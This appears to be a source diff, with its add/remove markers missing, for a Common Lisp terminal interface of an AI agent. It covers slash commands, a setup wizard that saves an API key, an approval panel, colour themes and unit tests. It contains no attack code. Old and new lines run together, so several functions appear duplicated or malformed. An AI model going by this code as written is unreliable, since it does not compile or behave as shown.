(add-msg :system (format nil "Audit: ~d objects, ~d hashed, ~d snapshots"
count hashed
(length *memory-snapshots*)))))
;; /resume <n> — resume from snapshot
((and (>= (length text) 8) (string-equal (subseq text 0 8) "/resume "))
(let* ((n-str (string-trim '(#\Space) (subseq text 8)))
(n (handler-case (parse-integer n-str) (error () nil))))
(if n
(if (fboundp 'passepartout::rollback-memory)
(progn (funcall 'passepartout::rollback-memory (1- n))
(if (fboundp 'rollback-memory)
(progn (funcall 'rollback-memory (1- n))
(add-msg :system (format nil "Resumed from snapshot ~d" n)))
(add-msg :system "Memory rollback not available"))
(add-msg :system "Usage: /resume <number>"))))
;; /help <topic> — search user manual
((and (>= (length text) 6) (string-equal (subseq text 0 6) "/help "))
(let ((topic (string-trim '(#\Space) (subseq text 6)))
(sections (self-help-lookup (string-trim '(#\Space) (subseq text 6)))))
(if sections
(dolist (entry sections)
(let* ((title (car entry))
(content (cdr entry))
(preview (if (> (length content) 300)
(concatenate 'string (subseq content 0 297) "...")
content)))
(add-msg :system (format nil "~a: ~a" title preview))))
(add-msg :system (format nil "No manual section found for '~a'" topic)))))
((string-equal text "/help")
(add-msg :system "/eval <expr> Evaluate Lisp")
(add-msg :system "/undo Undo last operation")
(add-msg :system "/redo Redo last operation")
(add-msg :system "/why Show last gate trace")
(add-msg :system "/identity Edit IDENTITY.org")
(add-msg :system "/tags List tag severities")
(add-msg :system "/audit <id> Inspect memory object")
(add-msg :system "/search <q> Search messages")
(add-msg :system "/context Show context summary")
(add-msg :system "/rewind <n> Rewind to snapshot N")
(let* ((topic (string-trim '(#\Space) (subseq text 6)))
(results (self-help-lookup topic)))
(dolist (entry results)
(add-msg :system (format nil "~a: ~a" (car entry) (cdr entry))))
(unless results
(add-msg :system (format nil "Topic '~a' not found in USER_MANUAL.org" topic)))))
((string-equal text "/help")
(add-msg :system "/undo Undo last operation")
(add-msg :system "/redo Redo last operation")
(add-msg :system "/why Show last gate trace")
(add-msg :system "/identity Edit IDENTITY.org")
(add-msg :system "/tags List tag severities")
(add-msg :system "/audit <id> Inspect memory object")
(add-msg :system "/search <q> Search messages")
(add-msg :system "/context Show context summary")
(add-msg :system "/eval <expr> Evaluate Lisp")
(add-msg :system "/rewind <n> Rewind to snapshot N")
(add-msg :system "/sessions Show snapshots")
(add-msg :system "/resume <n> Resume from snapshot")
(add-msg :system "/focus <proj> Set project context")
@@ -394,7 +463,12 @@
(add-msg :system "/help [topic] Show this help")
(add-msg :system "\\ + Enter Multi-line input")
(add-msg :system "Ctrl+G Toggle gate trace"))
;; /theme command
;; /setup command — open wizard
((string-equal text "/setup")
(wizard-start)
(add-msg :system "Setup wizard opened (Ctrl+W)")
(setf (st :dirty) (list t t nil)))
;; /theme command
((string-equal text "/theme")
(add-msg :system (format nil "Theme: ~a — user=~a agent=~a system=~a input=~a"
*tui-theme-current-name*
@@ -562,14 +636,15 @@
(reverse (coerce (nth (st :input-hpos) h) 'list))
nil))
(setf (st :dirty) (list nil nil t)))))
;; PageUp — scroll back by page (10 lines)
;; PageUp
((or (eq ch :ppage) (eql ch 339))
(let ((max-offset (max 0 (- (length (st :messages)) 1))))
(setf (st :scroll-offset) (min max-offset (+ (st :scroll-offset) 10))))
(let ((page-size (max 10 (floor (length (st :messages)) 3))))
(setf (st :scroll-offset) (+ (st :scroll-offset) page-size)))
(setf (st :dirty) (list nil t nil)))
;; PageDown — scroll forward by page
;; PageDown
((or (eq ch :npage) (eql ch 338))
(setf (st :scroll-offset) (max 0 (- (st :scroll-offset) 10)))
(let ((page-size (max 10 (floor (length (st :messages)) 3))))
(setf (st :scroll-offset) (max 0 (- (st :scroll-offset) page-size))))
(setf (st :dirty) (list nil t nil)))
;; Printable
(t
@@ -581,6 +656,232 @@
(input-insert-char chr)
(setf (st :dirty) (list nil nil t))))))))
;; v0.7.2 — resolve-hitl-panel: marks panel as resolved after approve/deny
(defun palette-items ()
"Returns categorized command list for the palette."
(let ((items nil))
(push (list :category "Session" :items
(list (list :name "/focus" :desc "Set project context" :shortcut "C-o"
:action (lambda () (add-msg :system "/focus <project>")))
(list :name "/scope" :desc "Change context scope"
:action (lambda () (add-msg :system "/scope memex|session|project")))
(list :name "/unfocus" :desc "Pop context stack"
:action (lambda () (send-daemon (list :type :event :payload (list :sensor :unfocus)))))
(list :name "/search" :desc "Search messages" :shortcut "C-f"
:action (lambda () (add-msg :system "Use /search <query> to find messages")))))
items)
(push (list :category "Agent" :items
(list (list :name "/why" :desc "Show last gate trace" :shortcut "C-g"
:action (lambda () (add-msg :system "Gate trace: use /why")))
(list :name "/audit" :desc "Inspect memory object"
:action (lambda () (add-msg :system "/audit <node-id>")))
(list :name "/context" :desc "Show context budget"
:action (lambda () (add-msg :system "/context")))))
items)
(push (list :category "View" :items
(list (list :name "/theme" :desc "Switch color theme"
:action (lambda () (add-msg :system "Presets: dark light solarized gruvbox nord tokyonight catppuccin monokai")))
(list :name "/sidebar" :desc "Toggle sidebar" :shortcut "C-x C-b"
:action #'sidebar-toggle)
(list :name "/help" :desc "Show all commands"
:action (lambda () (add-msg :system "/focus /scope /unfocus /search /why /audit /context /help /theme /sidebar")))))
items)
(push (list :category "System" :items
(list (list :name "/setup" :desc "Run setup wizard" :shortcut "C-\\"
:action (lambda () (wizard-start)
(add-msg :system "Setup wizard opened")
(setf (st :dirty) (list t t nil))))
(list :name "/eval" :desc "Evaluate Lisp expression"
:action (lambda () (add-msg :system "/eval <expr>")))
(list :name "/reconnect" :desc "Reconnect to daemon"
:action (lambda () (disconnect-daemon) (connect-daemon)))
(list :name "/quit" :desc "Save history and exit" :shortcut "C-d"
:action (lambda () (add-msg :system "* Goodbye *")
(send-daemon (list :type :event :payload '(:action :quit)))
(setf (st :running) nil)))))
items)
(nreverse items)))
(defun palette-execute (selected-item)
"Execute the selected palette item's action."
(when (and selected-item (getf selected-item :action))
(funcall (getf selected-item :action))))
(defun wizard-steps ()
"Returns the ordered list of setup wizard steps."
(list
(list :title "Provider Selection"
:prompt "LLM provider (openai, anthropic, ollama, openrouter, deepseek, groq):"
:validate (lambda (input)
(let ((provider (string-downcase (string-trim '(#\Space) input))))
(if (member provider '("openai" "anthropic" "ollama" "openrouter" "deepseek" "groq")
:test #'string=)
(progn (setf (st :wizard-provider) provider) nil)
(format nil "Unknown provider: ~a" input)))))
(list :title "API Key"
:prompt (format nil "API key for ~a:" (or (st :wizard-provider) "provider"))
:validate (lambda (input)
(let ((key (string-trim '(#\Space) input)))
(if (> (length key) 4)
(progn (setf (st :wizard-api-key) key) nil)
"Key too short — enter a valid API key"))))
(list :title "Memory"
:prompt "Max memory entries? (default: 1000, Enter to accept):"
:validate (lambda (input)
(let ((val (string-trim '(#\Space) input)))
(if (or (string= val "") (string= val "1000"))
(progn (setf (st :wizard-memory) "1000") nil)
(if (every #'digit-char-p val)
(progn (setf (st :wizard-memory) val) nil)
"Enter a number")))))
(list :title "Review & Save"
:prompt "Save configuration? (yes/no):"
:validate (lambda (input)
(let ((val (string-downcase (string-trim '(#\Space) input))))
(cond
((string= val "yes")
(wizard-write-config)
nil)
((string= val "no")
(setf (st :wizard-visible) nil
(st :wizard-step) 0
(st :wizard-error) nil)
(add-msg :system "Wizard cancelled — run /setup to restart")
nil)
(t "Type 'yes' to save or 'no' to cancel")))))))
(defun wizard-start ()
"Open the setup wizard at step 0."
(setf (st :wizard-visible) t
(st :wizard-step) 0
(st :wizard-input) ""
(st :wizard-error) nil
(st :wizard-provider) nil
(st :wizard-api-key) nil
(st :wizard-memory) nil))
(defun wizard-next ()
"Validate current step input; advance on success, show error on failure."
(let ((steps (wizard-steps))
(step-idx (st :wizard-step)))
(when (< step-idx (length steps))
(let* ((step (nth step-idx steps))
(validate-fn (getf step :validate))
(error-msg (funcall validate-fn (or (st :wizard-input) ""))))
(if error-msg
(setf (st :wizard-error) error-msg
(st :dirty) (list nil t nil))
(if (= step-idx (1- (length steps)))
(progn
(setf (st :wizard-visible) nil
(st :wizard-step) 0
(st :wizard-error) nil)
(add-msg :system "Configuration saved. Run /reconnect to reload."))
(setf (st :wizard-step) (1+ step-idx)
(st :wizard-input) ""
(st :wizard-error) nil
(st :dirty) (list nil t nil))))))))
(defun wizard-cancel ()
"Dismiss the wizard, preserving state for resumption."
(setf (st :wizard-visible) nil
(st :dirty) (list t t nil)))
(defun wizard-write-config ()
"Write collected wizard data to .env and notify."
(let ((provider (st :wizard-provider))
(api-key (st :wizard-api-key))
(memory (or (st :wizard-memory) "1000"))
(env-path (merge-pathnames ".env" (merge-pathnames "memex/" (user-homedir-pathname)))))
(handler-case
(progn
(uiop:ensure-all-directories-exist (list env-path))
(with-open-file (out env-path :direction :output :if-exists :supersede :if-does-not-exist :create)
(format out "# Passepartout configuration (generated by setup wizard)~%")
(format out "PROVIDER_CASCADE=~a~%" provider)
(format out "~:@(~a~)_API_KEY=~a~%" provider api-key)
(format out "MEMORY_MAX_ENTRIES=~a~%" memory)
(format out "DAEMON_PORT=9105~%")))
(error (c)
(setf (st :wizard-error) (format nil "Failed to write config: ~a" c)))))
(setf (st :wizard-visible) nil
(st :wizard-step) 0
(st :wizard-error) nil)
(add-msg :system (format nil "Configuration saved to memex/.env (~a). Run /reconnect to reload." provider)))
(defun resolve-hitl-panel (decision)
"Mark the most recent HITL panel message as resolved with DECISION."
(loop for i from (1- (length (st :messages))) downto 0
for m = (aref (st :messages) i)
when (and (getf m :panel) (not (getf m :panel-resolved)))
do (setf (getf m :panel-resolved) decision)
(setf (aref (st :messages) i) m)
(setf (st :dirty) (list nil t nil))
(loop-finish)))
(defun on-daemon-msg (msg)
(let* ((payload (getf msg :payload))
(text (getf payload :text))
(msg-type (getf msg :type))
(action (getf payload :action))
(level (getf msg :level))
(sensor (getf payload :sensor))
(gate-trace (getf msg :gate-trace))
(rule-count (getf payload :rule-count))
(foveal-id (getf payload :foveal-id)))
;; v0.7.2: HITL approval-required panel
(when (eq level :approval-required)
(let* ((hitl-msg (or (getf payload :message)
(getf payload :text)
"HITL approval required"))
(hitl-action (getf (getf payload :action) :payload))
(tool-name (getf hitl-action :tool))
(explanation (or tool-name "unknown action")))
(add-msg :system (format nil "┌─ Permission Required ─┐~%~a~%Action: ~a~%Respond: /approve HITL-xxxx or /deny HITL-xxxx"
hitl-msg explanation)
:panel t))
(setf (st :dirty) (list nil t nil))
(return-from on-daemon-msg nil))
;; v0.7.1: streaming chunk
(when (eq msg-type :stream-chunk)
(cond
((string= text "")
;; Final chunk: stamp time, clear streaming
(when (> (length (st :messages)) 0)
(let ((idx (1- (length (st :messages)))))
(setf (getf (aref (st :messages) idx) :streaming) nil)
(setf (getf (aref (st :messages) idx) :time) (now))))
(setf (st :streaming-text) nil)
(setf (st :busy) nil)
(setf (st :dirty) (list nil t nil))
(return-from on-daemon-msg nil))
((null (st :streaming-text))
;; First chunk: add new streaming message
(setf (st :streaming-text) "")
(setf (st :busy) nil)
(add-msg :agent text)
(let ((idx (1- (length (st :messages)))))
(setf (getf (aref (st :messages) idx) :streaming) t))
(setf (st :streaming-text) text)
(setf (st :dirty) (list nil t nil))
(return-from on-daemon-msg nil))
(t
;; Subsequent chunk: append
(let* ((new-text (concatenate 'string (st :streaming-text) text))
(idx (1- (length (st :messages)))))
(setf (st :streaming-text) new-text)
(setf (getf (aref (st :messages) idx) :content) new-text)
(setf (st :dirty) (list nil t nil)))
(return-from on-daemon-msg nil))))
(when rule-count (setf (st :rule-count) rule-count))
(when foveal-id (setf (st :foveal-id) foveal-id))
(cond
(text (setf (st :busy) nil)
(add-msg :agent text :gate-trace gate-trace))
((eq action :handshake)
(add-msg :system (format nil "Connected v~a" (getf payload :version))))
(t (add-msg :agent (format nil "~a" msg))))))
;; v0.7.2 — resolve-hitl-panel: marks panel as resolved after approve/deny
(defun resolve-hitl-panel (decision)
"Mark the most recent HITL panel message as resolved with DECISION."
@@ -687,8 +988,13 @@
(setf (getf (aref (st :messages) idx) :content) new-text)
(setf (st :dirty) (list nil t nil)))
(return-from on-daemon-msg nil))))
(when rule-count (setf (st :rule-count) rule-count))
(when foveal-id (setf (st :foveal-id) foveal-id))
(when rule-count (setf (st :rule-count) rule-count))
(when foveal-id (setf (st :foveal-id) foveal-id))
;; v0.8.0: sidebar enrichment fields
(when (getf payload :block-counts) (setf (st :block-counts) (getf payload :block-counts)))
(when (getf payload :context-usage) (setf (st :context-usage) (getf payload :context-usage)))
(when (getf payload :modified-files) (setf (st :modified-files) (getf payload :modified-files)))
(when (getf payload :session-cost) (setf (st :session-cost) (getf payload :session-cost)))
(cond
(text (setf (st :busy) nil)
(add-msg :agent text :gate-trace gate-trace))
@@ -777,24 +1083,23 @@
(setf (st :stream) nil (st :connected) nil)
(add-msg :system "* Disconnected *")))
(defun tui-main ()
(init-state)
(load-history)
(theme-load)
(with-screen (scr :input-blocking nil :input-echoing nil :cursor-visible nil)
(let* ((h (or (height scr) 24))
(w (or (width scr) 80))
(sw (make-instance 'window :height 3 :width (- w 2) :y 0 :x 1))
(ch (- h 5))
(cw (make-instance 'window :height ch :width (- w 2) :y 3 :x 1))
(iw (make-instance 'window :height 1 :width (- w 2) :y (- h 1) :x 1))
(swank-port (or (ignore-errors
(parse-integer (uiop:getenv "TUI_SWANK_PORT")))
4006)))
(defun tui-run-screen (scr)
"The full TUI event loop. Called from tui-main inside with-screen."
(let* ((h (or (height scr) 24))
(w (or (width scr) 80))
(sidebar-w (when (>= w 120)
(make-instance 'window :height (- h 5) :width 42 :y 3 :x (- w 44))))
(content-w (if sidebar-w (- w 44) (- w 2)))
(ch (- h 5))
(sw (make-instance 'window :height 3 :width content-w :y 0 :x 1))
(cw (make-instance 'window :height ch :width content-w :y 3 :x 1))
(iw (make-instance 'window :height 1 :width content-w :y (- h 1) :x 1))
(swank-port (or (ignore-errors
(parse-integer (uiop:getenv "TUI_SWANK_PORT")))
4006)))
(setf (function-keys-enabled-p iw) t
(input-blocking iw) nil
(st :dirty) (list t t t)
;; Store windows in state for SIGWINCH handler
(st :scr) scr (st :sw) sw (st :cw) cw (st :iw) iw)
(connect-daemon)
(when (> swank-port 0)
@@ -807,44 +1112,110 @@
(format nil "* Swank ~d M-x slime-connect *" swank-port)))
(error ()
(add-msg :system "* Swank unavailable *"))))
;; Initial render before the main loop — otherwise the screen stays
;; blank until the first keystroke (get-char blocks).
(redraw sw cw ch iw)
(refresh scr)
(loop while (st :running) do
(dolist (ev (drain-queue))
(cond
((eq (getf ev :type) :daemon)
(on-daemon-msg (getf ev :payload)))
((eq (getf ev :type) :disconnected)
(setf (st :connected) nil
(st :busy) nil)
(add-msg :system "* Connection lost — type /reconnect to retry *"))))
(let ((ch (get-char iw)))
(cond
((or (not ch) (equal ch -1)) nil)
;; KEY_RESIZE — terminal was resized (SIGWINCH from ncurses)
((eql ch 410)
(let* ((new-h (or (height scr) 24))
(new-w (or (width scr) 80))
(new-ch (- new-h 5)))
(setq sw (make-instance 'window :height 3 :width (- new-w 2) :y 0 :x 1)
ch new-ch
cw (make-instance 'window :height new-ch :width (- new-w 2) :y 3 :x 1)
iw (make-instance 'window :height 1 :width (- new-w 2) :y (- new-h 1) :x 1)
w new-w
h new-h)
(setf (function-keys-enabled-p iw) t
(input-blocking iw) nil
(st :dirty) (list t t t)
(st :sw) sw (st :cw) cw (st :iw) iw)
(redraw sw cw ch iw)
(refresh scr)))
(t (on-key ch))))
(flet ((recreate-windows (scr-width scr-height)
(let* ((new-w scr-width)
(new-h scr-height)
(has-sidebar (and (>= new-w 120) (st :sidebar-visible)))
(new-sidebar-w (when has-sidebar
(make-instance 'window :height (- new-h 5)
:width 42 :y 3 :x (- new-w 44))))
(new-content-w (if new-sidebar-w (- new-w 44) (- new-w 2)))
(new-ch (- new-h 5)))
(setq sw (make-instance 'window :height 3 :width new-content-w :y 0 :x 1)
ch new-ch
cw (make-instance 'window :height new-ch :width new-content-w :y 3 :x 1)
iw (make-instance 'window :height 1 :width new-content-w :y (- new-h 1) :x 1)
sidebar-w new-sidebar-w
w new-w
h new-h)
(setf (function-keys-enabled-p iw) t
(input-blocking iw) nil
(st :dirty) (list t t t)
(st :sw) sw (st :cw) cw (st :iw) iw))))
(let ((initial-sidebar (and (>= w 120) (st :sidebar-visible))))
(when initial-sidebar
(view-sidebar (or sidebar-w
(make-instance 'window :height (- h 5) :width 42
:y 3 :x (- w 44))))
(refresh (or sidebar-w
(make-instance 'window :height (- h 5) :width 42
:y 3 :x (- w 44))))))
(redraw sw cw ch iw)
(refresh scr)
(sleep 0.03))
(disconnect-daemon))))
(when sidebar-w
(view-sidebar sidebar-w)
(refresh sidebar-w))
(when (st :palette-visible)
(let* ((pw (min 56 (floor (* w 0.7))))
(ph (min 18 (floor (* h 0.6))))
(px (floor (- w pw) 2))
(py (floor (- h ph) 2))
(palette-win (make-instance 'window :height ph :width pw :y py :x px)))
(view-palette palette-win)
(refresh palette-win)
(close palette-win)))
(when (st :wizard-visible)
(let* ((ww 60) (wh 14)
(wx (floor (- w ww) 2))
(wy (floor (- h wh) 2))
(wizard-win (make-instance 'window :height wh :width ww :y wy :x wx)))
(view-wizard wizard-win)
(refresh wizard-win)
(close wizard-win)))
(refresh scr)
(loop while (st :running) do
(dolist (ev (drain-queue))
(cond
((eq (getf ev :type) :daemon)
(on-daemon-msg (getf ev :payload)))
((eq (getf ev :type) :disconnected)
(setf (st :connected) nil
(st :busy) nil)
(add-msg :system "* Connection lost — type /reconnect to retry *"))))
(let ((ch (get-char iw)))
(cond
((or (not ch) (equal ch -1)) nil)
((eql ch 410)
(recreate-windows (or (width scr) 80) (or (height scr) 24))
(redraw sw cw ch iw)
(refresh scr))
(t (ignore-errors (on-key ch)))))
(redraw sw cw ch iw)
(when sidebar-w
(view-sidebar sidebar-w)
(refresh sidebar-w))
;; Recreate windows when sidebar visibility or terminal width changes
(let ((sidebar-wanted (and (st :sidebar-visible) (>= w 120))))
(when (or (and sidebar-wanted (not sidebar-w))
(and (not sidebar-wanted) sidebar-w))
(recreate-windows w h)
(redraw sw cw ch iw)))
(when (st :palette-visible)
(let* ((pw (min 56 (floor (* w 0.7))))
(ph (min 18 (floor (* h 0.6))))
(px (floor (- w pw) 2))
(py (floor (- h ph) 2))
(palette-win (make-instance 'window :height ph :width pw :y py :x px)))
(view-palette palette-win)
(refresh palette-win)
(close palette-win)))
(when (st :wizard-visible)
(let* ((ww 60) (wh 14)
(wx (floor (- w ww) 2))
(wy (floor (- h wh) 2))
(wizard-win (make-instance 'window :height wh :width ww :y wy :x wx)))
(view-wizard wizard-win)
(refresh wizard-win)
(close wizard-win)))
(refresh scr)
(sleep 0.03))
(disconnect-daemon))))
(defun tui-main ()
(init-state)
(load-history)
(theme-load)
(with-screen (scr :input-blocking nil :input-echoing nil :cursor-visible nil)
(tui-run-screen scr)))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
@@ -1320,3 +1691,115 @@
(setf (st :scroll-offset) 3)
(on-key :npage)
(fiveam:is (= 0 (st :scroll-offset))))
(in-package :passepartout-tui-tests)
(fiveam:test test-theme-hex-to-rgb
"Contract 4: theme-hex-to-rgb parses #RRGGBB to integer triple."
(multiple-value-bind (r g b) (passepartout.channel-tui::theme-hex-to-rgb "#5E81AC")
(fiveam:is (= 94 r))
(fiveam:is (= 129 g))
(fiveam:is (= 172 b))))
(fiveam:test test-theme-hex-to-rgb-invalid
"Contract 4: theme-hex-to-rgb returns white for invalid input."
(multiple-value-bind (r g b) (passepartout.channel-tui::theme-hex-to-rgb "not-a-color")
(fiveam:is (= 255 r))
(fiveam:is (= 255 g))
(fiveam:is (= 255 b))))
(fiveam:test test-sidebar-toggle
"Contract 7: sidebar-toggle flips :sidebar-visible and sets dirty flags."
(init-state)
(setf (st :dirty) (list nil nil nil))
(passepartout.channel-tui::sidebar-toggle)
(fiveam:is (eq t (st :sidebar-visible)))
(fiveam:is (eq t (first (st :dirty))))
(fiveam:is (eq t (second (st :dirty)))))
(fiveam:test test-ctrl-x-b-toggles-sidebar
"Contract 5: Ctrl+X then Ctrl+B toggles sidebar."
(init-state)
(on-key 24) ; Ctrl+X
(fiveam:is (eq t (st :pending-ctrl-x)))
(on-key 2) ; Ctrl+B
(fiveam:is (eq t (st :sidebar-visible))))
(fiveam:test test-ctrl-p-opens-palette
"Contract 6: Ctrl+P opens command palette."
(init-state)
(on-key 16) ; Ctrl+P
(fiveam:is (eq t (st :palette-visible)))
(fiveam:is (not (null (st :palette-items))))
(fiveam:is (= 0 (st :palette-selected-idx))))
(fiveam:test test-palette-escape-dismisses
"Contract 6: Esc dismisses palette."
(init-state)
(setf (st :palette-visible) t)
(on-key 27) ; Esc
(fiveam:is (null (st :palette-visible))))
(fiveam:test test-palette-enter-executes
"Contract 9: Enter executes selected item and dismisses palette."
(init-state)
(setf (st :palette-visible) t
(st :palette-selected-idx) 0
(st :palette-items) (passepartout.channel-tui::palette-items))
(on-key (char-code #\/))
(on-key (char-code #\t))
(fiveam:is (string= "/t" (st :palette-filter))))
(fiveam:test test-palette-items-has-categories
"Contract 7: palette-items returns categorized list with at least Session and View."
(init-state)
(let ((items (passepartout.channel-tui::palette-items)))
(fiveam:is (listp items))
(fiveam:is (find "Session" items :key (lambda (g) (getf g :category)) :test #'string=))
(fiveam:is (find "View" items :key (lambda (g) (getf g :category)) :test #'string=))))
;; ── v0.8.0 Setup Wizard ──
(fiveam:test test-wizard-steps-count
"Contract v0.8.0: wizard-steps returns 4 steps."
(let ((steps (passepartout.channel-tui::wizard-steps)))
(fiveam:is (= 4 (length steps)))))
(fiveam:test test-wizard-start-sets-visible
"Contract v0.8.0: wizard-start sets wizard-visible and resets state."
(init-state)
(passepartout.channel-tui::wizard-start)
(fiveam:is (eq t (st :wizard-visible)))
(fiveam:is (= 0 (st :wizard-step)))
(fiveam:is (string= "" (st :wizard-input))))
(fiveam:test test-wizard-cancel-hides
"Contract v0.8.0: wizard-cancel hides the wizard."
(init-state)
(setf (st :wizard-visible) t)
(passepartout.channel-tui::wizard-cancel)
(fiveam:is (null (st :wizard-visible))))
(fiveam:test test-wizard-next-valid-advances
"Contract v0.8.0: valid input advances to next step."
(init-state)
(passepartout.channel-tui::wizard-start)
(setf (st :wizard-input) "openai")
(passepartout.channel-tui::wizard-next)
(fiveam:is (= 1 (st :wizard-step)))
(fiveam:is (string= "openai" (st :wizard-provider))))
(fiveam:test test-wizard-next-invalid-shows-error
"Contract v0.8.0: invalid input shows error and stays on current step."
(init-state)
(passepartout.channel-tui::wizard-start)
(setf (st :wizard-input) "invalid-provider")
(passepartout.channel-tui::wizard-next)
(fiveam:is (= 0 (st :wizard-step)))
(fiveam:is (not (null (st :wizard-error)))))
(fiveam:test test-ctrl-backslash-opens-wizard
"Contract v0.8.0: Ctrl+\\ opens the setup wizard."
(init-state)
(on-key 28) ; Ctrl+\
(fiveam:is (eq t (st :wizard-visible))))

View File

@@ -65,7 +65,43 @@ See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
:tool-running "#d33682" :tool-success "#859900" :tool-failure "#dc322f" :tool-output "#839496"
:scroll-indicator "#2aa198" :border "#657b83" :background "#002b36"
:rule-count "#2aa198" :focus-map "#b58900"
:dim "#586e75" :highlight "#2aa198" :accent "#859900"))
:dim "#586e75" :highlight "#2aa198" :accent "#859900")
:nord (:user "#81a1c1" :agent "#d8dee9" :system "#ebcb8b"
:input "#d8dee9" :timestamp "#4c566a" :help "#88c0d0" :error "#bf616a" :warning "#ebcb8b"
:connected "#a3be8c" :disconnected "#bf616a" :busy "#b48ead" :idle "#616e88"
:gate-passed "#a3be8c" :gate-blocked "#bf616a" :gate-approval "#ebcb8b"
:hitl "#b48ead"
:tool-running "#b48ead" :tool-success "#a3be8c" :tool-failure "#bf616a" :tool-output "#d8dee9"
:scroll-indicator "#88c0d0" :border "#4c566a" :background "#2e3440"
:rule-count "#88c0d0" :focus-map "#ebcb8b"
:dim "#616e88" :highlight "#88c0d0" :accent "#5e81ac")
:tokyonight (:user "#7aa2f7" :agent "#c0caf5" :system "#e0af68"
:input "#c0caf5" :timestamp "#565f89" :help "#7dcfff" :error "#f7768e" :warning "#e0af68"
:connected "#9ece6a" :disconnected "#f7768e" :busy "#bb9af7" :idle "#565f89"
:gate-passed "#9ece6a" :gate-blocked "#f7768e" :gate-approval "#e0af68"
:hitl "#bb9af7"
:tool-running "#bb9af7" :tool-success "#9ece6a" :tool-failure "#f7768e" :tool-output "#c0caf5"
:scroll-indicator "#7dcfff" :border "#1f2335" :background "#1a1b26"
:rule-count "#7dcfff" :focus-map "#e0af68"
:dim "#565f89" :highlight "#7dcfff" :accent "#7aa2f7")
:catppuccin (:user "#89b4fa" :agent "#cdd6f4" :system "#f9e2af"
:input "#cdd6f4" :timestamp "#585b70" :help "#94e2d5" :error "#f38ba8" :warning "#f9e2af"
:connected "#a6e3a1" :disconnected "#f38ba8" :busy "#cba6f7" :idle "#6c7086"
:gate-passed "#a6e3a1" :gate-blocked "#f38ba8" :gate-approval "#f9e2af"
:hitl "#cba6f7"
:tool-running "#cba6f7" :tool-success "#a6e3a1" :tool-failure "#f38ba8" :tool-output "#cdd6f4"
:scroll-indicator "#94e2d5" :border "#45475a" :background "#1e1e2e"
:rule-count "#94e2d5" :focus-map "#f9e2af"
:dim "#6c7086" :highlight "#94e2d5" :accent "#89b4fa")
:monokai (:user "#a6e22e" :agent "#f8f8f2" :system "#e6db74"
:input "#f8f8f2" :timestamp "#75715e" :help "#66d9ef" :error "#f92672" :warning "#e6db74"
:connected "#a6e22e" :disconnected "#f92672" :busy "#ae81ff" :idle "#75715e"
:gate-passed "#a6e22e" :gate-blocked "#f92672" :gate-approval "#e6db74"
:hitl "#ae81ff"
:tool-running "#ae81ff" :tool-success "#a6e22e" :tool-failure "#f92672" :tool-output "#f8f8f2"
:scroll-indicator "#66d9ef" :border "#49483e" :background "#272822"
:rule-count "#66d9ef" :focus-map "#e6db74"
:dim "#75715e" :highlight "#66d9ef" :accent "#a6e22e"))
"Named theme presets. /theme <name> loads one into *tui-theme*.")
(defvar *tui-theme-current-name* :dark
@@ -101,8 +137,40 @@ See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
key)))
(defun theme-color (role)
"Returns the Croatoan color for a semantic role."
(or (getf *tui-theme* role) :white))
"Returns the Croatoan color for a semantic role.
Keyword or hex string values are returned as-is; hex strings are
converted to integers that Croatoan can process."
(let ((val (or (getf *tui-theme* role) :white)))
(if (and (stringp val) (> (length val) 0) (eql (char val 0) #\#))
(handler-case (parse-integer (subseq val 1) :radix 16)
(error () val))
val)))
;; v0.8.0: TrueColor helpers
(defun theme-hex-to-rgb (hex-string)
"Parse #RRGGBB to (values r g b). Returns (255 255 255) for invalid input."
(if (and (stringp hex-string) (= 7 (length hex-string)) (eql (char hex-string 0) #\#))
(handler-case
(let ((r (parse-integer (subseq hex-string 1 3) :radix 16))
(g (parse-integer (subseq hex-string 3 5) :radix 16))
(b (parse-integer (subseq hex-string 5 7) :radix 16)))
(values r g b))
(error () (values 255 255 255)))
(values 255 255 255)))
(defun theme-init-truecolor ()
"Register hex colors from *tui-theme* with Croatoan's init-color."
(handler-case
(loop for (key val) on *tui-theme* by #'cddr
when (and (stringp val) (= 7 (length val)) (eql (char val 0) #\#))
do (multiple-value-bind (r g b) (theme-hex-to-rgb val)
(init-color key (/ r 255.0) (/ g 255.0) (/ b 255.0))))
(error () nil)))
(defun sidebar-toggle ()
"Toggle sidebar visibility. Sets dirty flags for full redraw."
(setf (st :sidebar-visible) (not (st :sidebar-visible)))
(setf (st :dirty) (list t t t)))
(defun st (key) (getf *state* key))
(defun (setf st) (val key) (setf (getf *state* key) val))
@@ -119,6 +187,15 @@ See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
:collapsed-gates nil ; v0.7.2
:search-mode nil :search-query "" ; v0.7.2
:search-matches nil :search-match-idx 0
:sidebar-visible nil ; v0.8.0
:minibuffer-mode nil :minibuffer-selected-idx 0 ; v0.8.0
:minibuffer-filter "" ; v0.8.0
:wizard-mode :provider-list ; v0.9.0
:wizard-selected-idx 0 :wizard-input "" ; v0.9.0
:wizard-error nil ; v0.9.0
:wizard-providers nil :wizard-current-provider nil ; v0.9.0
:wizard-cascade '(:fg-prob nil :bg-prob nil :fg-det nil :bg-det nil) ; v0.9.0
:wizard-cascade-slot :fg-prob ; v0.9.0
:dirty (list nil nil nil))))
(defun now ()

View File

@@ -112,7 +112,7 @@
;; v0.7.2: gate trace below agent messages
(let ((gate-trace (getf msg :gate-trace)))
(when (and gate-trace (not (member i (st :collapsed-gates))))
(dolist (entry (passepartout::gate-trace-lines gate-trace))
(dolist (entry (gate-trace-lines gate-trace))
(when (< y (1- h))
(add-string win (car entry) :y y :x 3 :n (- w 4) :fgcolor (or (getf (cdr entry) :fgcolor) :dim))
(incf y))))))))))
@@ -136,7 +136,115 @@
(when id (view-input iw))
(setf (st :dirty) (list nil nil nil))))
(in-package :passepartout)
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-tui-view-tests
(:use :cl :fiveam :passepartout)
(:export #:tui-view-suite))
(in-package :passepartout-tui-view-tests)
(def-suite tui-view-suite :description "TUI view rendering helpers")
(in-suite tui-view-suite)
(test test-char-width-ascii
"Contract 5: ASCII characters (< 128) have width 1."
(is (= 1 (char-width #\a)))
(is (= 1 (char-width #\Space)))
(is (= 1 (char-width #\@))))
(test test-char-width-tab
"Contract 5: tab character has width 8."
(is (= 8 (char-width #\Tab))))
(test test-char-width-cjk
"Contract 5: CJK characters have width 2."
(is (= 2 (char-width #\日))))
(test test-char-width-null
"Contract 5: null has width 0."
(is (= 0 (char-width #\Nul))))
